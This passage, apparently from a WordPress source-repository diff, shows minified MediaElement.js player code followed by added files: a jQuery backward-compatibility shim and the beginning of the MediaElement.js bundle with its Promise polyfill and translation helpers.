c=0,f=e.urls.length;c<f;c++){var p=e.urls[c];a+='<a href="'+p.src+'" data-type="'+p.type+'"><span>'+d.default.i18n.t("mejs.download-file")+": "+p.src+"</span></a>"}}a&&o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error")&&(r.innerHTML=a,o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error").innerHTML=""+s+r.outerHTML,o.getElement(o.layers).querySelector("."+o.options.classPrefix+"overlay-error").parentNode.style.display="block"),o.controlsEnabled&&o.disableControls()}},{key:"setPlayerSize",value:function(e,t){var n=this;if(!n.options.setDimensions)return!1;switch(void 0!==e&&(n.width=e),void 0!==t&&(n.height=t),n.options.stretching){case"fill":n.isVideo?n.setFillMode():n.setDimensions(n.width,n.height);break;case"responsive":n.setResponsiveMode();break;case"none":n.setDimensions(n.width,n.height);break;default:!0===n.hasFluidMode()?n.setResponsiveMode():n.setDimensions(n.width,n.height)}}},{key:"hasFluidMode",value:function(){var e=this;return-1!==e.height.toString().indexOf("%")||e.node&&e.node.style.maxWidth&&"none"!==e.node.style.maxWidth&&e.node.style.maxWidth!==e.width||e.node&&e.node.currentStyle&&"100%"===e.node.currentStyle.maxWidth}},{key:"setResponsiveMode",value:function(){var e=this,t=function(){for(var t=void 0,n=e.getElement(e.container);n;){try{if(p.IS_FIREFOX&&"html"===n.tagName.toLowerCase()&&s.default.self!==s.default.top&&null!==s.default.frameElement)return s.default.frameElement;t=n.parentElement}catch(e){t=n.parentElement}if(t&&g.visible(t))return t;n=t}return null}(),n=t?getComputedStyle(t,null):getComputedStyle(l.default.body,null),o=e.isVideo?e.media.videoWidth&&e.media.videoWidth>0?e.media.videoWidth:e.node.getAttribute("width")?e.node.getAttribute("width"):e.options.defaultVideoWidth:e.options.defaultAudioWidth,i=e.isVideo?e.media.videoHeight&&e.media.videoHeight>0?e.media.videoHeight:e.node.getAttribute("height")?e.node.getAttribute("height"):e.options.defaultVideoHeight:e.options.defaultAudioHeight,r=function(){var t=1;return e.isVideo?(t=e.media.videoWidth&&e.media.videoWidth>0&&e.media.videoHeight&&e.media.videoHeight>0?e.height>=e.width?e.media.videoWidth/e.media.videoHeight:e.media.videoHeight/e.media.videoWidth:e.initialAspectRatio,(isNaN(t)||t<.01||t>100)&&(t=1),t):t}(),a=parseFloat(n.height),d=void 0,u=parseFloat(n.width);if(d=e.isVideo?"100%"===e.height?parseFloat(u*i/o,10):e.height>=e.width?parseFloat(u/r,10):parseFloat(u*r,10):i,isNaN(d)&&(d=a),e.getElement(e.container).parentNode.length>0&&"body"===e.getElement(e.container).parentNode.tagName.toLowerCase()&&(u=s.default.innerWidth||l.default.documentElement.clientWidth||l.default.body.clientWidth,d=s.default.innerHeight||l.default.documentElement.clientHeight||l.default.body.clientHeight),d&&u){e.getElement(e.container).style.width=u+"px",e.getElement(e.container).style.height=d+"px",e.node.style.width="100%",e.node.style.height="100%",e.isVideo&&e.media.setSize&&e.media.setSize(u,d);for(var c=e.getElement(e.layers).children,f=0,m=c.length;f<m;f++)c[f].style.width="100%",c[f].style.height="100%"}}},{key:"setFillMode",value:function(){var e=this,t=s.default.self!==s.default.top&&null!==s.default.frameElement,n=function(){for(var t=void 0,n=e.getElement(e.container);n;){try{if(p.IS_FIREFOX&&"html"===n.tagName.toLowerCase()&&s.default.self!==s.default.top&&null!==s.default.frameElement)return s.default.frameElement;t=n.parentElement}catch(e){t=n.parentElement}if(t&&g.visible(t))return t;n=t}return null}(),o=n?getComputedStyle(n,null):getComputedStyle(l.default.body,null);"none"!==e.node.style.height&&e.node.style.height!==e.height&&(e.node.style.height="auto"),"none"!==e.node.style.maxWidth&&e.node.style.maxWidth!==e.width&&(e.node.style.maxWidth="none"),"none"!==e.node.style.maxHeight&&e.node.style.maxHeight!==e.height&&(e.node.style.maxHeight="none"),e.node.currentStyle&&("100%"===e.node.currentStyle.height&&(e.node.currentStyle.height="auto"),"100%"===e.node.currentStyle.maxWidth&&(e.node.currentStyle.maxWidth="none"),"100%"===e.node.currentStyle.maxHeight&&(e.node.currentStyle.maxHeight="none")),t||parseFloat(o.width)||(n.style.width=e.media.offsetWidth+"px"),t||parseFloat(o.height)||(n.style.height=e.media.offsetHeight+"px"),o=getComputedStyle(n);var i=parseFloat(o.width),r=parseFloat(o.height);e.setDimensions("100%","100%");var a=e.getElement(e.container).querySelector("."+e.options.classPrefix+"poster>img");a&&(a.style.display="");for(var d=e.getElement(e.container).querySelectorAll("object, embed, iframe, video"),u=e.height,c=e.width,f=i,m=u*i/c,h=c*r/u,v=r,y=h>i==!1,E=y?Math.floor(f):Math.floor(h),b=y?Math.floor(m):Math.floor(v),S=y?i+"px":E+"px",x=y?b+"px":r+"px",w=0,P=d.length;w<P;w++)d[w].style.height=x,d[w].style.width=S,e.media.setSize&&e.media.setSize(S,x),d[w].style.marginLeft=Math.floor((i-E)/2)+"px",d[w].style.marginTop=0}},{key:"setDimensions",value:function(e,t){var n=this;e=(0,m.isString)(e)&&e.indexOf("%")>-1?e:parseFloat(e)+"px",t=(0,m.isString)(t)&&t.indexOf("%")>-1?t:parseFloat(t)+"px",n.getElement(n.container).style.width=e,n.getElement(n.container).style.height=t;for(var o=n.getElement(n.layers).children,i=0,r=o.length;i<r;i++)o[i].style.width=e,o[i].style.height=t}},{key:"setControlsSize",value:function(){var e=this;if(g.visible(e.getElement(e.container)))if(e.rail&&g.visible(e.rail)){for(var t=e.total?getComputedStyle(e.total,null):null,n=t?parseFloat(t.marginLeft)+parseFloat(t.marginRight):0,o=getComputedStyle(e.rail),i=parseFloat(o.marginLeft)+parseFloat(o.marginRight),r=0,a=g.siblings(e.rail,function(t){return t!==e.rail}),s=a.length,l=0;l<s;l++)r+=a[l].offsetWidth;r+=n+(0===n?2*i:i)+1,e.getElement(e.container).style.minWidth=r+"px";var d=(0,m.createEvent)("controlsresize",e.getElement(e.container));e.getElement(e.container).dispatchEvent(d)}else{for(var u=e.getElement(e.controls).children,c=0,f=0,p=u.length;f<p;f++)c+=u[f].offsetWidth;e.getElement(e.container).style.minWidth=c+"px"}}},{key:"addControlElement",value:function(e,t){var n=this;if(void 0!==n.featurePosition[t]){var o=n.getElement(n.controls).children[n.featurePosition[t]-1];o.parentNode.insertBefore(e,o.nextSibling)}else{n.getElement(n.controls).appendChild(e);for(var i=n.getElement(n.controls).children,r=0,a=i.length;r<a;r++)if(e===i[r]){n.featurePosition[t]=r;break}}}},{key:"createIframeLayer",value:function(){var e=this;if(e.isVideo&&null!==e.media.rendererName&&e.media.rendererName.indexOf("iframe")>-1&&!l.default.getElementById(e.media.id+"-iframe-overlay")){var t=l.default.createElement("div"),n=l.default.getElementById(e.media.id+"_"+e.media.rendererName);t.id=e.media.id+"-iframe-overlay",t.className=e.options.classPrefix+"iframe-overlay",t.addEventListener("click",function(t){e.options.clickToPlayPause&&(e.paused?e.play():e.pause(),t.preventDefault(),t.stopPropagation())}),n.parentNode.insertBefore(t,n)}}},{key:"resetSize",value:function(){var e=this;setTimeout(function(){e.setPlayerSize(e.width,e.height),e.setControlsSize()},50)}},{key:"setPoster",value:function(e){var t=this;if(t.getElement(t.container)){var n=t.getElement(t.container).querySelector("."+t.options.classPrefix+"poster");n||((n=l.default.createElement("div")).className=t.options.classPrefix+"poster "+t.options.classPrefix+"layer",t.getElement(t.layers).appendChild(n));var o=n.querySelector("img");!o&&e&&((o=l.default.createElement("img")).className=t.options.classPrefix+"poster-img",o.width="100%",o.height="100%",n.style.display="",n.appendChild(o)),e?(o.setAttribute("src",e),n.style.backgroundImage='url("'+e+'")',n.style.display=""):o?(n.style.backgroundImage="none",n.style.display="none",o.remove()):n.style.display="none"}else(p.IS_IPAD&&t.options.iPadUseNativeControls||p.IS_IPHONE&&t.options.iPhoneUseNativeControls||p.IS_ANDROID&&t.options.AndroidUseNativeControls)&&(t.media.originalNode.poster=e)}},{key:"changeSkin",value:function(e){var t=this;t.getElement(t.container).className=t.options.classPrefix+"container "+e,t.setPlayerSize(t.width,t.height),t.setControlsSize()}},{key:"globalBind",value:function(e,t){var n=this,o=n.node?n.node.ownerDocument:l.default;if((e=(0,m.splitEvents)(e,n.id)).d)for(var i=e.d.split(" "),r=0,a=i.length;r<a;r++)i[r].split(".").reduce(function(e,n){return o.addEventListener(n,t,!1),n},"");if(e.w)for(var d=e.w.split(" "),u=0,c=d.length;u<c;u++)d[u].split(".").reduce(function(e,n){return s.default.addEventListener(n,t,!1),n},"")}},{key:"globalUnbind",value:function(e,t){var n=this,o=n.node?n.node.ownerDocument:l.default;if((e=(0,m.splitEvents)(e,n.id)).d)for(var i=e.d.split(" "),r=0,a=i.length;r<a;r++)i[r].split(".").reduce(function(e,n){return o.removeEventListener(n,t,!1),n},"");if(e.w)for(var d=e.w.split(" "),u=0,c=d.length;u<c;u++)d[u].split(".").reduce(function(e,n){return s.default.removeEventListener(n,t,!1),n},"")}},{key:"buildfeatures",value:function(e,t,n,o){for(var i=this,r=0,a=i.options.features.length;r<a;r++){var s=i.options.features[r];if(i["build"+s])try{i["build"+s](e,t,n,o)}catch(e){console.error("error building "+s,e)}}}},{key:"buildposter",value:function(e,t,n,o){var i=this,r=l.default.createElement("div");r.className=i.options.classPrefix+"poster "+i.options.classPrefix+"layer",n.appendChild(r);var a=o.originalNode.getAttribute("poster");""!==e.options.poster&&(a&&p.IS_IOS&&o.originalNode.removeAttribute("poster"),a=e.options.poster),a?i.setPoster(a):null!==i.media.renderer&&"function"==typeof i.media.renderer.getPosterUrl?i.setPoster(i.media.renderer.getPosterUrl()):r.style.display="none",o.addEventListener("play",function(){r.style.display="none"}),o.addEventListener("playing",function(){r.style.display="none"}),e.options.showPosterWhenEnded&&e.options.autoRewind&&o.addEventListener("ended",function(){r.style.display=""}),o.addEventListener("error",function(){r.style.display="none"}),e.options.showPosterWhenPaused&&o.addEventListener("pause",function(){e.ended||(r.style.display="")})}},{key:"buildoverlays",value:function(e,t,n,o){if(e.isVideo){var i=this,r=l.default.createElement("div"),a=l.default.createElement("div"),s=l.default.createElement("div");r.style.display="none",r.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer",r.innerHTML='<div class="'+i.options.classPrefix+'overlay-loading"><span class="'+i.options.classPrefix+'overlay-loading-bg-img"></span></div>',n.appendChild(r),a.style.display="none",a.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer",a.innerHTML='<div class="'+i.options.classPrefix+'overlay-error"></div>',n.appendChild(a),s.className=i.options.classPrefix+"overlay "+i.options.classPrefix+"layer "+i.options.classPrefix+"overlay-play",s.innerHTML='<div class="'+i.options.classPrefix+'overlay-button" role="button" tabindex="0" aria-label="'+f.default.t("mejs.play")+'" aria-pressed="false"></div>',s.addEventListener("click",function(){if(i.options.clickToPlayPause){var e=i.getElement(i.container).querySelector("."+i.options.classPrefix+"overlay-button"),t=e.getAttribute("aria-pressed");i.paused?i.play():i.pause(),e.setAttribute("aria-pressed",!!t),i.getElement(i.container).focus()}}),s.addEventListener("keydown",function(e){var t=e.keyCode||e.which||0;if(13===t||p.IS_FIREFOX&&32===t){var n=(0,m.createEvent)("click",s);return s.dispatchEvent(n),!1}}),n.appendChild(s),null!==i.media.rendererName&&(/(youtube|facebook)/i.test(i.media.rendererName)&&!(i.media.originalNode.getAttribute("poster")||e.options.poster||"function"==typeof i.media.renderer.getPosterUrl&&i.media.renderer.getPosterUrl())||p.IS_STOCK_ANDROID||i.media.originalNode.getAttribute("autoplay"))&&(s.style.display="none");var d=!1;o.addEventListener("play",function(){s.style.display="none",r.style.display="none",a.style.display="none",d=!1}),o.addEventListener("playing",function(){s.style.display="none",r.style.display="none",a.style.display="none",d=!1}),o.addEventListener("seeking",function(){s.style.display="none",r.style.display="",d=!1}),o.addEventListener("seeked",function(){s.style.display=i.paused&&!p.IS_STOCK_ANDROID?"":"none",r.style.display="none",d=!1}),o.addEventListener("pause",function(){r.style.display="none",p.IS_STOCK_ANDROID||d||(s.style.display=""),d=!1}),o.addEventListener("waiting",function(){r.style.display="",d=!1}),o.addEventListener("loadeddata",function(){r.style.display="",p.IS_ANDROID&&(o.canplayTimeout=setTimeout(function(){if(l.default.createEvent){var e=l.default.createEvent("HTMLEvents");return e.initEvent("canplay",!0,!0),o.dispatchEvent(e)}},300)),d=!1}),o.addEventListener("canplay",function(){r.style.display="none",clearTimeout(o.canplayTimeout),d=!1}),o.addEventListener("error",function(e){i._handleError(e,i.media,i.node),r.style.display="none",s.style.display="none",d=!0}),o.addEventListener("loadedmetadata",function(){i.controlsEnabled||i.enableControls()}),o.addEventListener("keydown",function(t){i.onkeydown(e,o,t),d=!1})}}},{key:"buildkeyboard",value:function(e,t,n,o){var i=this;i.getElement(i.container).addEventListener("keydown",function(){i.keyboardAction=!0}),i.globalKeydownCallback=function(t){var n=l.default.activeElement.closest("."+i.options.classPrefix+"container"),r=i.media.closest("."+i.options.classPrefix+"container");return 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this.proxy.duration}},{key:"setVolume",value:function(e){this.proxy.volume=e}},{key:"getVolume",value:function(){return this.proxy.getVolume()}},{key:"setMuted",value:function(e){this.proxy.setMuted(e)}},{key:"setSrc",value:function(e){this.controlsEnabled||this.enableControls(),this.proxy.setSrc(e)}},{key:"getSrc",value:function(){return this.proxy.getSrc()}},{key:"canPlayType",value:function(e){return this.proxy.canPlayType(e)}},{key:"remove",value:function(){var e=this,t=e.media.rendererName,n=e.media.originalNode.src;for(var o in e.options.features){var i=e.options.features[o];if(e["clean"+i])try{e["clean"+i](e,e.getElement(e.layers),e.getElement(e.controls),e.media)}catch(e){console.error("error cleaning "+i,e)}}var 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Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-migrate.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-migrate.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement-migrate.js	(revision 56912)
@@ -0,0 +1,84 @@
+/* global console, MediaElementPlayer, mejs */
+(function ( window, $ ) {
+	// Reintegrate `plugins` since they don't exist in MEJS anymore; it won't affect anything in the player
+	if (mejs.plugins === undefined) {
+		mejs.plugins = {};
+		mejs.plugins.silverlight = [];
+		mejs.plugins.silverlight.push({
+			types: []
+		});
+	}
+
+	// Inclusion of old `HtmlMediaElementShim` if it doesn't exist
+	mejs.HtmlMediaElementShim = mejs.HtmlMediaElementShim || {
+		getTypeFromFile: mejs.Utils.getTypeFromFile
+	};
+
+	// Add missing global variables for backward compatibility
+	if (mejs.MediaFeatures === undefined) {
+		mejs.MediaFeatures = mejs.Features;
+	}
+	if (mejs.Utility === undefined) {
+		mejs.Utility = mejs.Utils;
+	}
+
+	/**
+	 * Create missing variables and have default `classPrefix` overridden to avoid issues.
+	 *
+	 * `media` is now a fake wrapper needed to simplify manipulation of various media types,
+	 * so in order to access the `video` or `audio` tag, use `media.originalNode` or `player.node`;
+	 * `player.container` used to be jQuery but now is a HTML element, and many elements inside
+	 * the player rely on it being a HTML now, so its conversion is difficult; however, a
+	 * `player.$container` new variable has been added to be used as jQuery object
+	 */
+	var init = MediaElementPlayer.prototype.init;
+	MediaElementPlayer.prototype.init = function () {
+		this.options.classPrefix = 'mejs-';
+		this.$media = this.$node = $( this.node );
+		init.call( this );
+	};
+
+	var ready = MediaElementPlayer.prototype._meReady;
+	MediaElementPlayer.prototype._meReady = function () {
+		this.container = $( this.container) ;
+		this.controls = $( this.controls );
+		this.layers = $( this.layers );
+		ready.apply( this, arguments );
+	};
+
+	// Override method so certain elements can be called with jQuery
+	MediaElementPlayer.prototype.getElement = function ( el ) {
+		return $ !== undefined && el instanceof $ ? el[0] : el;
+	};
+
+	// Add jQuery ONLY to most of custom features' arguments for backward compatibility; default features rely 100%
+	// on the arguments being HTML elements to work properly
+	MediaElementPlayer.prototype.buildfeatures = function ( player, controls, layers, media ) {
+		var defaultFeatures = [
+			'playpause',
+			'current',
+			'progress',
+			'duration',
+			'tracks',
+			'volume',
+			'fullscreen'
+		];
+		for (var i = 0, total = this.options.features.length; i < total; i++) {
+			var feature = this.options.features[i];
+			if (this['build' + feature]) {
+				try {
+					// Use jQuery for non-default features
+					if (defaultFeatures.indexOf(feature) === -1) {
+						this['build' + feature]( player, $(controls), $(layers), media );
+					} else {
+						this['build' + feature]( player, controls, layers, media );
+					}
+
+				} catch (e) {
+					console.error( 'error building ' + feature, e );
+				}
+			}
+		}
+	};
+
+})( window, jQuery );
Index: /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement.js
===================================================================
--- /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement.js	(revision 56912)
+++ /tags/5.0.20/src/wp-includes/js/mediaelement/mediaelement.js	(revision 56912)
@@ -0,0 +1,3942 @@
+/*!
+ * MediaElement.js
+ * http://www.mediaelementjs.com/
+ *
+ * Wrapper that mimics native HTML5 MediaElement (audio and video)
+ * using a variety of technologies (pure JavaScript, Flash, iframe)
+ *
+ * Copyright 2010-2017, John Dyer (http://j.hn/)
+ * License: MIT
+ *
+ */(function e(t,n,r){function s(o,u){if(!n[o]){if(!t[o]){var a=typeof require=="function"&&require;if(!u&&a)return a(o,!0);if(i)return i(o,!0);var f=new Error("Cannot find module '"+o+"'");throw f.code="MODULE_NOT_FOUND",f}var l=n[o]={exports:{}};t[o][0].call(l.exports,function(e){var n=t[o][1][e];return s(n?n:e)},l,l.exports,e,t,n,r)}return n[o].exports}var i=typeof require=="function"&&require;for(var o=0;o<r.length;o++)s(r[o]);return s})({1:[function(_dereq_,module,exports){
+
+},{}],2:[function(_dereq_,module,exports){
+(function (global){
+var topLevel = typeof global !== 'undefined' ? global :
+    typeof window !== 'undefined' ? window : {}
+var minDoc = _dereq_(1);
+
+var doccy;
+
+if (typeof document !== 'undefined') {
+    doccy = document;
+} else {
+    doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'];
+
+    if (!doccy) {
+        doccy = topLevel['__GLOBAL_DOCUMENT_CACHE@4'] = minDoc;
+    }
+}
+
+module.exports = doccy;
+
+}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
+},{"1":1}],3:[function(_dereq_,module,exports){
+(function (global){
+var win;
+
+if (typeof window !== "undefined") {
+    win = window;
+} else if (typeof global !== "undefined") {
+    win = global;
+} else if (typeof self !== "undefined"){
+    win = self;
+} else {
+    win = {};
+}
+
+module.exports = win;
+
+}).call(this,typeof global !== "undefined" ? global : typeof self !== "undefined" ? self : typeof window !== "undefined" ? window : {})
+},{}],4:[function(_dereq_,module,exports){
+(function (root) {
+
+  // Store setTimeout reference so promise-polyfill will be unaffected by
+  // other code modifying setTimeout (like sinon.useFakeTimers())
+  var setTimeoutFunc = setTimeout;
+
+  function noop() {}
+  
+  // Polyfill for Function.prototype.bind
+  function bind(fn, thisArg) {
+    return function () {
+      fn.apply(thisArg, arguments);
+    };
+  }
+
+  function Promise(fn) {
+    if (typeof this !== 'object') throw new TypeError('Promises must be constructed via new');
+    if (typeof fn !== 'function') throw new TypeError('not a function');
+    this._state = 0;
+    this._handled = false;
+    this._value = undefined;
+    this._deferreds = [];
+
+    doResolve(fn, this);
+  }
+
+  function handle(self, deferred) {
+    while (self._state === 3) {
+      self = self._value;
+    }
+    if (self._state === 0) {
+      self._deferreds.push(deferred);
+      return;
+    }
+    self._handled = true;
+    Promise._immediateFn(function () {
+      var cb = self._state === 1 ? deferred.onFulfilled : deferred.onRejected;
+      if (cb === null) {
+        (self._state === 1 ? resolve : reject)(deferred.promise, self._value);
+        return;
+      }
+      var ret;
+      try {
+        ret = cb(self._value);
+      } catch (e) {
+        reject(deferred.promise, e);
+        return;
+      }
+      resolve(deferred.promise, ret);
+    });
+  }
+
+  function resolve(self, newValue) {
+    try {
+      // Promise Resolution Procedure: https://github.com/promises-aplus/promises-spec#the-promise-resolution-procedure
+      if (newValue === self) throw new TypeError('A promise cannot be resolved with itself.');
+      if (newValue && (typeof newValue === 'object' || typeof newValue === 'function')) {
+        var then = newValue.then;
+        if (newValue instanceof Promise) {
+          self._state = 3;
+          self._value = newValue;
+          finale(self);
+          return;
+        } else if (typeof then === 'function') {
+          doResolve(bind(then, newValue), self);
+          return;
+        }
+      }
+      self._state = 1;
+      self._value = newValue;
+      finale(self);
+    } catch (e) {
+      reject(self, e);
+    }
+  }
+
+  function reject(self, newValue) {
+    self._state = 2;
+    self._value = newValue;
+    finale(self);
+  }
+
+  function finale(self) {
+    if (self._state === 2 && self._deferreds.length === 0) {
+      Promise._immediateFn(function() {
+        if (!self._handled) {
+          Promise._unhandledRejectionFn(self._value);
+        }
+      });
+    }
+
+    for (var i = 0, len = self._deferreds.length; i < len; i++) {
+      handle(self, self._deferreds[i]);
+    }
+    self._deferreds = null;
+  }
+
+  function Handler(onFulfilled, onRejected, promise) {
+    this.onFulfilled = typeof onFulfilled === 'function' ? onFulfilled : null;
+    this.onRejected = typeof onRejected === 'function' ? onRejected : null;
+    this.promise = promise;
+  }
+
+  /**
+   * Take a potentially misbehaving resolver function and make sure
+   * onFulfilled and onRejected are only called once.
+   *
+   * Makes no guarantees about asynchrony.
+   */
+  function doResolve(fn, self) {
+    var done = false;
+    try {
+      fn(function (value) {
+        if (done) return;
+        done = true;
+        resolve(self, value);
+      }, function (reason) {
+        if (done) return;
+        done = true;
+        reject(self, reason);
+      });
+    } catch (ex) {
+      if (done) return;
+      done = true;
+      reject(self, ex);
+    }
+  }
+
+  Promise.prototype['catch'] = function (onRejected) {
+    return this.then(null, onRejected);
+  };
+
+  Promise.prototype.then = function (onFulfilled, onRejected) {
+    var prom = new (this.constructor)(noop);
+
+    handle(this, new Handler(onFulfilled, onRejected, prom));
+    return prom;
+  };
+
+  Promise.all = function (arr) {
+    var args = Array.prototype.slice.call(arr);
+
+    return new Promise(function (resolve, reject) {
+      if (args.length === 0) return resolve([]);
+      var remaining = args.length;
+
+      function res(i, val) {
+        try {
+          if (val && (typeof val === 'object' || typeof val === 'function')) {
+            var then = val.then;
+            if (typeof then === 'function') {
+              then.call(val, function (val) {
+                res(i, val);
+              }, reject);
+              return;
+            }
+          }
+          args[i] = val;
+          if (--remaining === 0) {
+            resolve(args);
+          }
+        } catch (ex) {
+          reject(ex);
+        }
+      }
+
+      for (var i = 0; i < args.length; i++) {
+        res(i, args[i]);
+      }
+    });
+  };
+
+  Promise.resolve = function (value) {
+    if (value && typeof value === 'object' && value.constructor === Promise) {
+      return value;
+    }
+
+    return new Promise(function (resolve) {
+      resolve(value);
+    });
+  };
+
+  Promise.reject = function (value) {
+    return new Promise(function (resolve, reject) {
+      reject(value);
+    });
+  };
+
+  Promise.race = function (values) {
+    return new Promise(function (resolve, reject) {
+      for (var i = 0, len = values.length; i < len; i++) {
+        values[i].then(resolve, reject);
+      }
+    });
+  };
+
+  // Use polyfill for setImmediate for performance gains
+  Promise._immediateFn = (typeof setImmediate === 'function' && function (fn) { setImmediate(fn); }) ||
+    function (fn) {
+      setTimeoutFunc(fn, 0);
+    };
+
+  Promise._unhandledRejectionFn = function _unhandledRejectionFn(err) {
+    if (typeof console !== 'undefined' && console) {
+      console.warn('Possible Unhandled Promise Rejection:', err); // eslint-disable-line no-console
+    }
+  };
+
+  /**
+   * Set the immediate function to execute callbacks
+   * @param fn {function} Function to execute
+   * @deprecated
+   */
+  Promise._setImmediateFn = function _setImmediateFn(fn) {
+    Promise._immediateFn = fn;
+  };
+
+  /**
+   * Change the function to execute on unhandled rejection
+   * @param {function} fn Function to execute on unhandled rejection
+   * @deprecated
+   */
+  Promise._setUnhandledRejectionFn = function _setUnhandledRejectionFn(fn) {
+    Promise._unhandledRejectionFn = fn;
+  };
+  
+  if (typeof module !== 'undefined' && module.exports) {
+    module.exports = Promise;
+  } else if (!root.Promise) {
+    root.Promise = Promise;
+  }
+
+})(this);
+
+},{}],5:[function(_dereq_,module,exports){
+'use strict';
+
+Object.defineProperty(exports, "__esModule", {
+	value: true
+});
+
+var _typeof = typeof Symbol === "function" && typeof Symbol.iterator === "symbol" ? function (obj) { return typeof obj; } : function (obj) { return obj && typeof Symbol === "function" && obj.constructor === Symbol && obj !== Symbol.prototype ? "symbol" : typeof obj; };
+
+var _mejs = _dereq_(7);
+
+var _mejs2 = _interopRequireDefault(_mejs);
+
+var _en = _dereq_(9);
+
+var _general = _dereq_(18);
+
+function _interopRequireDefault(obj) { return obj && obj.__esModule ? obj : { default: obj }; }
+
+var i18n = { lang: 'en', en: _en.EN };
+
+i18n.language = function () {
+	for (var _len = arguments.length, args = Array(_len), _key = 0; _key < _len; _key++) {
+		args[_key] = arguments[_key];
+	}
+
+	if (args !== null && args !== undefined && args.length) {
+
+		if (typeof args[0] !== 'string') {
+			throw new TypeError('Language code must be a string value');
+		}
+
+		if (!/^(([a-z]{2}((\-|_)[a-z]{2})?)|([a-z]{3}))$/i.test(args[0])) {
+			throw new TypeError('Language code must have format `xx`, `xxx`, `xx_XX` or `xx-xx`');
+		}
+
+		i18n.lang = args[0];
+
+		if (i18n[args[0]] === undefined) {
+			args[1] = args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object' ? args[1] : {};
+			i18n[args[0]] = !(0, _general.isObjectEmpty)(args[1]) ? args[1] : _en.EN;
+		} else if (args[1] !== null && args[1] !== undefined && _typeof(args[1]) === 'object') {
+			i18n[args[0]] = args[1];
+		}
+	}
+
+	return i18n.lang;
+};
+
+i18n.t = function (message) {
+	var pluralParam = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : null;
+
+
+	if (typeof message === 'string' && message.length) {
+
+		var str = void 0,
+		    pluralForm = void 0;
+
+		var language = i18n.language();
+
+		var _plural = function _plural(input, number, form) {
+
+			if ((typeof input === 'undefined' ? 'undefined' : _typeof(input)) !== 'object' || typeof number !== 'number' || typeof form !== 'number') {
+				return input;
+			}
+
+			var _pluralForms = function () {
+				return [function () {
+					return arguments.length <= 1 ? undefined : arguments[1];
+				}, function () {
+					return (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2];
+				}, function () {
+					return (arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) === 1 ? arguments.length <= 1 ? undefined : arguments[1] : arguments.length <= 2 ? undefined : arguments[2];
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) !== 0) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1 || (arguments.length <= 0 ? undefined : arguments[0]) === 11) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 2 || (arguments.length <= 0 ? undefined : arguments[0]) === 12) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) > 2 && (arguments.length <= 0 ? undefined : arguments[0]) < 20) {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					} else {
+						return arguments.length <= 4 ? undefined : arguments[4];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) === 0 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 > 0 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 < 20) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return [3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 === 1 && (arguments.length <= 0 ? undefined : arguments[0]) % 100 !== 11) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) <= 4) {
+						return arguments.length <= 2 ? undefined : arguments[2];
+					} else {
+						return arguments.length <= 3 ? undefined : arguments[3];
+					}
+				}, function () {
+					if ((arguments.length <= 0 ? undefined : arguments[0]) === 1) {
+						return arguments.length <= 1 ? undefined : arguments[1];
+					} else if ((arguments.length <= 0 ? undefined : arguments[0]) % 10 >= 2 && (arguments.length <= 0 ? undefined : arguments[0]) % 10 <= 4 && ((arguments.length <= 0 ? undefined : arguments[0]) % 100 < 10 || (arguments.length <= 0 ? undefined : arguments[0]) % 100 >= 20)) {
